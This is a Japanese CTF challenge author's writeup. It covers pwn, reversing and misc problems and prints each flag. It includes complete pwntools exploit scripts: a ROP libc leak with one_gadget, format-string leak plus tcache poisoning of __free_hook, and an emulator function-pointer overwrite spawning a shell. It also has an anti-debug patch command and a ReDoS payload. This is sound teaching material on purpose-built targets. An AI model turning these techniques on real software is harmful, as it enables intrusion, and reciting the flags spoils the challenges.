問題

私が作問したのは以下の問題です

writeupや問題はGitHubにも上がっています.

Pwn

Rev

Misc

Writeup

やっていき

Pwn

今回はソースコードを配布したんですが,クソコードを晒す事になってしまい,申し訳ない.

というかコードがクソなせいで非本質的な部分に労力を割いてしまっていたら本当に申し訳ない.バイナリの方が素直.

rewriter

200 solves / 111 pt

問題文

任意のアドレスの値を書き換えたい時,ありますよね?

about

任意のアドレスを書き換えられる上,スタックの状態も教えてくれる良心的なプログラムです.

writeup

実行すると,現在のスタックの状態と,書き換えたい場所を聞かれます


[Addr]              |[Value]
====================+===================
 0x00007fffcd2b2c60 | 0x0000000000000000  <- buf
 0x00007fffcd2b2c68 | 0x0000000000000000
 0x00007fffcd2b2c70 | 0x0000000000000000
 0x00007fffcd2b2c78 | 0x0000000000000000
 0x00007fffcd2b2c80 | 0x0000000000000000  <- target
 0x00007fffcd2b2c88 | 0x0000000000000000  <- value
 0x00007fffcd2b2c90 | 0x0000000000401520  <- saved rbp
 0x00007fffcd2b2c98 | 0x00007fd2e7131cb2  <- saved ret addr
 0x00007fffcd2b2ca0 | 0x00007fffcd2b2d88
 0x00007fffcd2b2ca8 | 0x00000001e7131b2b

Where would you like to rewrite it?
> 

saved ret addrが明示されているので,書き換えます.

objdumpやradare2でバイナリを読むと,0x4011f6win関数があるのがわかるので,そこに書き換えましょう.


[Addr]              |[Value]
====================+===================
 0x00007ffd4a9aeb60 | 0x0000000000000000  <- buf
 0x00007ffd4a9aeb68 | 0x0000000000000000
 0x00007ffd4a9aeb70 | 0x0000000000000000
 0x00007ffd4a9aeb78 | 0x0000000000000000
 0x00007ffd4a9aeb80 | 0x0000000000000000  <- target
 0x00007ffd4a9aeb88 | 0x0000000000000000  <- value
 0x00007ffd4a9aeb90 | 0x0000000000401520  <- saved rbp
 0x00007ffd4a9aeb98 | 0x00007ff41adc9cb2  <- saved ret addr
 0x00007ffd4a9aeba0 | 0x00007ffd4a9aec88
 0x00007ffd4a9aeba8 | 0x000000011adc9b2b

Where would you like to rewrite it?
> 0x00007ffd4a9aeb98
0x00007ffd4a9aeb98 = 0x4011f6

[Addr]              |[Value]
====================+===================
 0x00007ffd4a9aeb60 | 0x3666313130347830  <- buf
 0x00007ffd4a9aeb68 | 0x626561396134000a
 0x00007ffd4a9aeb70 | 0x00000000000a3839
 0x00007ffd4a9aeb78 | 0x0000000000000000
 0x00007ffd4a9aeb80 | 0x00000000004011f6  <- target
 0x00007ffd4a9aeb88 | 0x00007ffd4a9aeb98  <- value
 0x00007ffd4a9aeb90 | 0x0000000000401520  <- saved rbp
 0x00007ffd4a9aeb98 | 0x00000000004011f6  <- saved ret addr
 0x00007ffd4a9aeba0 | 0x00007ffd4a9aec88
 0x00007ffd4a9aeba8 | 0x000000011adc9b2b

/bin/cat: flag.txt: No such file or directory

ローカルではflag.txtが無いので怒られていますが,問題ないのでリモートで試しましょう.

flag

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}


beginners_rop

73 solve / 269 pt

問題文

Do you like programming?

Did you know Return Oriented Programming?

about

問題文にあるように,ROPを組む問題です

writeup

ソースも配布してますが,バイナリを読みます

[0x004010b0]> pdf @main
            ; DATA XREF from entry0 @ 0x4010d1
┌ 52: int main (int argc, char **argv, char **envp);
│           ; var char *s @ rbp-0x100
│           0x00401196      f30f1efa       endbr64
│           0x0040119a      55             push rbp
│           0x0040119b      4889e5         mov rbp, rsp
│           0x0040119e      4881ec000100.  sub rsp, 0x100
│           0x004011a5      488d8500ffff.  lea rax, [s]
│           0x004011ac      4889c7         mov rdi, rax                ; char *s
│           0x004011af      e8dcfeffff     call sym.imp.gets           ; char *gets(char *s)
│           0x004011b4      488d8500ffff.  lea rax, [s]
│           0x004011bb      4889c7         mov rdi, rax                ; const char *s
│           0x004011be      e8adfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004011c3      b800000000     mov eax, 0
│           0x004011c8      c9             leave
└           0x004011c9      c3             ret

はい.

自明なBOFがあります.libcも配布してあるので,one_gadgetを狙います.

$ one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

方針としては,以下の順番でROPを組みます

  1. putsでlibcのベースアドレスをリーク
  2. 再度mainへ(ret2main)
  3. one_gadgetの呼び出し

solve.py

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '4102'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
libc = ELF('./libc-2.27.so')
context.binary = binfile
io = remote(HOST, PORT)

# padding
pad = b'a' * 0x108

# one_gadgets
one_gadgets = [0x4f3d5, 0x4f432, 0x10a41c]

# libc base address leak
rop = ROP(e)
rop.puts(e.got['__libc_start_main'])
rop.call(e.sym['main'])

payload = pad + rop.chain()

io.sendline(payload)

io.readline()

gets_addr = io.recvline()

libc_base = unpack(gets_addr.ljust(8, b'\0')) - libc.sym['__libc_start_main']

# call one_gadget

rop = ROP(e)
rop.call(pack(libc_base + one_gadgets[0]))

payload = pad + rop.chain()

io.sendline(payload)

io.sendline('echo "hello shell"')
io.recvuntil(b'hello shell\n')
io.sendline('cat flag.txt')
print(io.recvuntil(b'}').decode('utf-8', 'ignore'))
io.close()
exit()

flag

ctf4b{H4rd_ROP_c4f3}


uma_catch

28 solves / 394 pt

問題文

ウマを踊らせたりできるアプリケーションです.

うーー(うまきゃっち)

about

heap問です.

色々な脆弱性がありますが,今回のwriteupではfsbでlibcのベースアドレスをリークし, tcache poisoning__free_hookを書き換えます.

writeup

ソースコードが配布されているので,重要な部分をいくつか転記します

void show() {
    printf(list[get_index()]->name);
}

この関数にはfsbがあります.

void naming() {
    int i = get_index();
    printf("name?\n> ");
    fgets(list[i]->name, 0x20, stdin);
}

ここではlist[i]のチェックを行っていないので,UAFがあります.

まずはshowのfsbを使ってlibcのベースアドレスをリークします.

gdbでいい感じのindexを探すと,%11$p__libc_start_main+0xe7があるのがわかるので,これを使います.

catch(0)
naming(0, "%11$p")
libc_base = (int(show(0).decode()[2:-1], 16) - 0xe7 - libc.sym['__libc_start_main'])

次に,namingのUAFを使って,tcache poisoningを行います.

release(0)

# nextを__free_hookに書き換える
naming(0, pack(libc_base + libc.sym['__free_hook']))

# このcatchでは,最初のcatch(0)と同じ領域が返ってくる
catch(1)
naming(1, b'sh\0')

# このcatchで__free_hookが返ってくるので,systemに書き換える
catch(2)
naming(2, pack(libc_base + libc.sym['system']))

# このreleaseは,system("sh")と同じ
release(1)

完全なソルバ

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '4101'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
libc = ELF('./libc-2.27.so')
context.binary = binfile

io = remote(HOST, PORT)

def catch(index: int):
    io.sendlineafter(b'command?\n> ', '1')
    io.sendlineafter(b'index?\n> ', str(index))
    io.sendlineafter(b'> ', "bay")

def naming(index: int, data: bytes):
    io.sendlineafter(b'command?\n> ', '2')
    io.sendlineafter(b'index?\n> ', str(index))
    io.sendlineafter(b'name?\n> ', data)

def show(index: int):
    io.sendlineafter(b'command?\n> ', '3')
    io.sendlineafter(b'index?\n> ', str(index))
    return io.readline()

def release(index: int):
    io.sendlineafter(b'command?\n> ', '5')
    io.sendlineafter(b'index?\n> ', str(index))

def dance(index: int):
    io.sendlineafter(b'command?\n> ', '4')
    io.sendlineafter(b'> ', str(index))

# leak 
catch(0)
naming(0, "%11$p")
libc_base = (int(show(0).decode()[2:-1], 16) - 0xe7 - libc.sym['__libc_start_main'])

# poisoning
release(0)
naming(0, pack(libc_base + libc.sym['__free_hook']))

catch(1)
naming(1, b'sh\0')

# write to __free_hook
catch(2)
naming(2, pack(libc_base + libc.sym['system']))

# system("sh")
release(1)

# got shell
io.sendline('echo "hello shell"')
io.recvuntil(b'hello shell\n')

io.sendline('cat flag.txt')
print(io.readline().decode('utf-8', 'ignore'), end='')
io.close()
exit()

flag

ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}


2021_emulator

12 solves / 453 pt

問題文

8080の1/4と少しの命令を実装したエミュレータです

8080のオペコードについてはこのサイトが参考になります.

このエミュレータにはMVI, MOV, RET等の命令が実装されています.

RET命令を発行すると,Aレジスタの内容を表示して,プログラムが終了します.

about

8080の1/4と少しのエミュレータなので,2021_emulatorです.

実装がデカいせいで,非本質的な部分に時間がかかってしまったかもしれないです.申し訳ないいう気持ちでいっぱい.

あと非想定解がありそうで怖いです.あったら教えてほしい.

writeup

脆弱性はシンプルで,emulator.hを見ると,

struct emulator {
    uint8_t         registers[REGISTERS_COUNT];
    uint8_t         memory[0x4000];
    void (*instructions[0xFF])(struct emulator*);
};

となっており,memoryinstructionsが連続しています.

また,mviでメモリに書き込む時にチェックをしていないので,instructionsを上書きできます

static void mvi(struct emulator *emu) {
    uint8_t pc = get_mem_pc(emu);
    inc_pc(emu);
    switch (pc) {
        case 0x06:
            emu->registers[B] = get_mem_pc(emu);
            break;
        case 0x0E:
            emu->registers[C] = get_mem_pc(emu);
            break;
        case 0x16:
            emu->registers[D] = get_mem_pc(emu);
            break;
        case 0x1E:
            emu->registers[E] = get_mem_pc(emu);
            break;
        case 0x26:
            emu->registers[H] = get_mem_pc(emu);
            break;
        case 0x2E:
            emu->registers[L] = get_mem_pc(emu);
            break;
        case 0x36:
            emu->memory[get_hl(emu)] = get_mem_pc(emu);
            break;
        case 0x3E:
            emu->registers[A] = get_mem_pc(emu);
            break;

        default:
            fprintf(stderr, "NOT IMPLEMENTED!!!!\n");
            exit(1);
    }
}

あとは仕様を読みながらいい感じにやるだけです

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '4100'))

binfile = './chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile

io = remote(HOST, PORT)
#io = process(binfile)

def mvi(r, d):
    if r == 'A':
        return bytes([0x3E, d])
    elif r == 'B':
        return bytes([0x06, d])
    elif r == 'C':
        return bytes([0x0E, d])
    elif r == 'D':
        return bytes([0x16, d])
    elif r == 'E':
        return bytes([0x1E, d])
    elif r == 'H':
        return bytes([0x26, d])
    elif r == 'L':
        return bytes([0x2E, d])
    elif r == 'M':
        return bytes([0x36, d])


system_addr = e.sym['system']


payload = mvi('H', 0x40)                        # memory[0x4000]
payload += mvi('L', 0x0c)                       # memory[0x400c]
payload += mvi('M', system_addr & 0xff)         # memory[0x400c] = system_addr & 0xff
payload += mvi('L', 0x0d)                       # memory[0x400d]
payload += mvi('M', system_addr >> 8 & 0xff)    # memory[0x400d] = system_addr >> 8 & 0xff
payload += mvi('L', 0x0e)                       # memory[0x400e]
payload += mvi('M', system_addr >> 16 & 0xff)   # memory[0x400e] = system_addr >> 16 & 0xff
payload += mvi('A', ord('s'))
payload += mvi('B', ord('h'))
payload += mvi('C', 0)
payload += bytes([0x01, 0xc9])

io.recvuntil(b'loading to memory...')
io.send(payload)
io.recvuntil(b'running emulator...')

io.sendline('echo hello')
io.recvuntil('hello')

io.sendline('cat flag.txt')

print(io.recvuntil(b'}').decode('utf-8', 'ignore'))

flag

ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}


Rev

おもしろい問題は作れてないです.

only_read

440 solves/ 56 pt

問題文

バイナリ読めなきゃやばいなり〜

about

only read

writeup

[0x000010a0]> pdf @main
            ; DATA XREF from entry0 @ 0x10c1
┌ 352: int main (int argc, char **argv, char **envp);
│           ; var void *buf @ rbp-0x20
│           ; var int64_t var_1fh @ rbp-0x1f
│           ; var int64_t var_1eh @ rbp-0x1e
│           ; var int64_t var_1dh @ rbp-0x1d
│           ; var int64_t var_1ch @ rbp-0x1c
│           ; var int64_t var_1bh @ rbp-0x1b
│           ; var int64_t var_1ah @ rbp-0x1a
│           ; var int64_t var_19h @ rbp-0x19
│           ; var int64_t var_18h @ rbp-0x18
│           ; var int64_t var_17h @ rbp-0x17
│           ; var int64_t var_16h @ rbp-0x16
│           ; var int64_t var_15h @ rbp-0x15
│           ; var int64_t var_14h @ rbp-0x14
│           ; var int64_t var_13h @ rbp-0x13
│           ; var int64_t var_12h @ rbp-0x12
│           ; var int64_t var_11h @ rbp-0x11
│           ; var int64_t var_10h @ rbp-0x10
│           ; var int64_t var_fh @ rbp-0xf
│           ; var int64_t var_eh @ rbp-0xe
│           ; var int64_t var_dh @ rbp-0xd
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_bh @ rbp-0xb
│           ; var int64_t var_ah @ rbp-0xa
│           ; var int64_t canary @ rbp-0x8
│           0x00001189      f30f1efa       endbr64
│           0x0000118d      55             push rbp
│           0x0000118e      4889e5         mov rbp, rsp
│           0x00001191      4883ec20       sub rsp, 0x20
│           0x00001195      64488b042528.  mov rax, qword fs:[0x28]
│           0x0000119e      488945f8       mov qword [canary], rax
│           0x000011a2      31c0           xor eax, eax
│           0x000011a4      48c745e00000.  mov qword [buf], 0
│           0x000011ac      48c745e80000.  mov qword [var_18h], 0
│           0x000011b4      c745f0000000.  mov dword [var_10h], 0
│           0x000011bb      66c745f40000   mov word [var_ch], 0
│           0x000011c1      c645f600       mov byte [var_ah], 0
│           0x000011c5      488d45e0       lea rax, [buf]
│           0x000011c9      ba17000000     mov edx, 0x17               ; size_t nbyte
│           0x000011ce      4889c6         mov rsi, rax                ; void *buf
│           0x000011d1      bf00000000     mov edi, 0                  ; int fildes
│           0x000011d6      e8b5feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x000011db      c64405e000     mov byte [rbp + rax - 0x20], 0
│           0x000011e0      0fb645e0       movzx eax, byte [buf]
│           0x000011e4      3c63           cmp al, 0x63
│       ┌─< 0x000011e6      0f85da000000   jne 0x12c6
│       │   0x000011ec      0fb645e1       movzx eax, byte [var_1fh]
│       │   0x000011f0      3c74           cmp al, 0x74
│      ┌──< 0x000011f2      0f85ce000000   jne 0x12c6
│      ││   0x000011f8      0fb645e2       movzx eax, byte [var_1eh]
│      ││   0x000011fc      3c66           cmp al, 0x66
│     ┌───< 0x000011fe      0f85c2000000   jne 0x12c6
│     │││   0x00001204      0fb645e3       movzx eax, byte [var_1dh]
│     │││   0x00001208      3c34           cmp al, 0x34
│    ┌────< 0x0000120a      0f85b6000000   jne 0x12c6
│    ││││   0x00001210      0fb645e4       movzx eax, byte [var_1ch]
│    ││││   0x00001214      3c62           cmp al, 0x62
│   ┌─────< 0x00001216      0f85aa000000   jne 0x12c6
│   │││││   0x0000121c      0fb645e5       movzx eax, byte [var_1bh]
│   │││││   0x00001220      3c7b           cmp al, 0x7b
│  ┌──────< 0x00001222      0f859e000000   jne 0x12c6
│  ││││││   0x00001228      0fb645e6       movzx eax, byte [var_1ah]
│  ││││││   0x0000122c      3c63           cmp al, 0x63
│ ┌───────< 0x0000122e      0f8592000000   jne 0x12c6
│ │││││││   0x00001234      0fb645e7       movzx eax, byte [var_19h]
│ │││││││   0x00001238      3c30           cmp al, 0x30
│ ────────< 0x0000123a      0f8586000000   jne 0x12c6
│ │││││││   0x00001240      0fb645e8       movzx eax, byte [var_18h]
│ │││││││   0x00001244      3c6e           cmp al, 0x6e
│ ────────< 0x00001246      757e           jne 0x12c6
│ │││││││   0x00001248      0fb645e9       movzx eax, byte [var_17h]
│ │││││││   0x0000124c      3c35           cmp al, 0x35
│ ────────< 0x0000124e      7576           jne 0x12c6
│ │││││││   0x00001250      0fb645ea       movzx eax, byte [var_16h]
│ │││││││   0x00001254      3c74           cmp al, 0x74
│ ────────< 0x00001256      756e           jne 0x12c6
│ │││││││   0x00001258      0fb645eb       movzx eax, byte [var_15h]
│ │││││││   0x0000125c      3c34           cmp al, 0x34
│ ────────< 0x0000125e      7566           jne 0x12c6
│ │││││││   0x00001260      0fb645ec       movzx eax, byte [var_14h]
│ │││││││   0x00001264      3c6e           cmp al, 0x6e
│ ────────< 0x00001266      755e           jne 0x12c6
│ │││││││   0x00001268      0fb645ed       movzx eax, byte [var_13h]
│ │││││││   0x0000126c      3c74           cmp al, 0x74
│ ────────< 0x0000126e      7556           jne 0x12c6
│ │││││││   0x00001270      0fb645ee       movzx eax, byte [var_12h]
│ │││││││   0x00001274      3c5f           cmp al, 0x5f
│ ────────< 0x00001276      754e           jne 0x12c6
│ │││││││   0x00001278      0fb645ef       movzx eax, byte [var_11h]
│ │││││││   0x0000127c      3c66           cmp al, 0x66
│ ────────< 0x0000127e      7546           jne 0x12c6
│ │││││││   0x00001280      0fb645f0       movzx eax, byte [var_10h]
│ │││││││   0x00001284      3c30           cmp al, 0x30
│ ────────< 0x00001286      753e           jne 0x12c6
│ │││││││   0x00001288      0fb645f1       movzx eax, byte [var_fh]
│ │││││││   0x0000128c      3c6c           cmp al, 0x6c
│ ────────< 0x0000128e      7536           jne 0x12c6
│ │││││││   0x00001290      0fb645f2       movzx eax, byte [var_eh]
│ │││││││   0x00001294      3c64           cmp al, 0x64
│ ────────< 0x00001296      752e           jne 0x12c6
│ │││││││   0x00001298      0fb645f3       movzx eax, byte [var_dh]
│ │││││││   0x0000129c      3c31           cmp al, 0x31
│ ────────< 0x0000129e      7526           jne 0x12c6
│ │││││││   0x000012a0      0fb645f4       movzx eax, byte [var_ch]
│ │││││││   0x000012a4      3c6e           cmp al, 0x6e
│ ────────< 0x000012a6      751e           jne 0x12c6
│ │││││││   0x000012a8      0fb645f5       movzx eax, byte [var_bh]
│ │││││││   0x000012ac      3c67           cmp al, 0x67
│ ────────< 0x000012ae      7516           jne 0x12c6
│ │││││││   0x000012b0      0fb645f6       movzx eax, byte [var_ah]
│ │││││││   0x000012b4      3c7d           cmp al, 0x7d
│ ────────< 0x000012b6      750e           jne 0x12c6
│ │││││││   0x000012b8      488d3d450d00.  lea rdi, str.Correct        ; 0x2004 ; "Correct" ; const char *s
│ │││││││   0x000012bf      e8acfdffff     call sym.imp.puts           ; int puts(const char *s)
│ ────────< 0x000012c4      eb0c           jmp 0x12d2
│ │││││││   ; XREFS(23)
│ └└└└└└└─> 0x000012c6      488d3d3f0d00.  lea rdi, str.Incorrect      ; 0x200c ; "Incorrect" ; const char *s
│           0x000012cd      e89efdffff     call sym.imp.puts           ; int puts(const char *s)
│           ; CODE XREF from main @ 0x12c4
│ ────────> 0x000012d2      90             nop
│           0x000012d3      488b45f8       mov rax, qword [canary]
│           0x000012d7      64482b042528.  sub rax, qword fs:[0x28]
│       ┌─< 0x000012e0      7405           je 0x12e7
│       │   0x000012e2      e899fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from main @ 0x12e0
│       └─> 0x000012e7      c9             leave
└           0x000012e8      c3             ret
[0x000010a0]>

cmpしてる所を読むだけです.

flag

ctf4b{c0n5t4nt_f0ld1ng}


please_not_trace_me

83 solves / 248 pt

問題文

フラグを復号してくれるのは良いけど,表示してくれない!!

about

難読化されたバイナリです.

rc4っぽい処理で暗号化されたフラグをdecryptoしています.

rc4の鍵を特定し人もいるっぽいので,手元でアルゴリズムを特定しても解けますね.

writeup

今回のバイナリはgdbでアタッチしようとするとprease not trace meと言われ,強制終了します.

てか今気付いたんですが,スペルミスしてますね.問題文はpleaseなのに.めちゃくちゃ恥ずかしいじゃん.

とりあえずデバッガの検知してる部分を探します.mainをdisasするとptrace呼んでるので,パッチ当てます.

radare2 -w -c "wx 9090909090 @ 0x000012f3" chall

これでgdb使えるので,やっていきましょう.

なんとなくrc4の呼び出しでdecryptoすると想定できるので,そこらへんにbreak point用意すると,いい感じにわかります.

flag

ctf4b{d1d_y0u_d3crypt_rc4?}


be_angry

87 solves / 240 pt

問題文

読みづらいからって怒らないでください😢

about

これも難読化されています.

問題文の通り,angrを使います.

writeup

正解しているとCorrect!!と表示される事がわかるので,angrやります.

#!/usr/bin/env python3
import angr
import logging

logging.getLogger("angr").setLevel("CRITICAL")
angr.manager.l.setLevel("CRITICAL")
proj = angr.Project("./chall")

simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1))
if len(simgr.found) > 0:
    found = simgr.found[0].posix.dumps(0).decode("utf-8", "ignore")
    print(found)

flag

ctf4b{3nc0d3_4r1thm3t1c}


Misc

misc好きなのでいっぱい作りたかったけど,一つしか思いつきませんでした.ごめんなさい

Mail_Address_Validator

281 solve / 77 pt

問題文

あなたのメールアドレスが正しいか調べます.

about

ReDoSです.ReDoSはWeb問みたいな風潮がありますが,影響を考慮する必要があるのはWebだけじゃないと思うので,Miscにしました.

writeup

以下のパターンで検証をしています

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.

みたいなペイロードで通る.

今回は入力長に制限が無いのでクソ長ペイロードでも通ります.

import os
from socket import *

def recvuntil(token):
    o = b''
    while True:
        o += io.recv(1)
        if token in o:
            break
    return o

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '5100'))

payload = b'a@AAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'

io = socket(AF_INET, SOCK_STREAM)
io.connect((HOST, PORT))

recvuntil(b'please puts your mail address.')
io.recv(1)
io.send(payload)
print(io.recv(0x100).decode('utf-8', 'ignore'), end='')

io.close()

参考: 正規表現でのメールアドレスチェックは見直すべき


ごめんなさい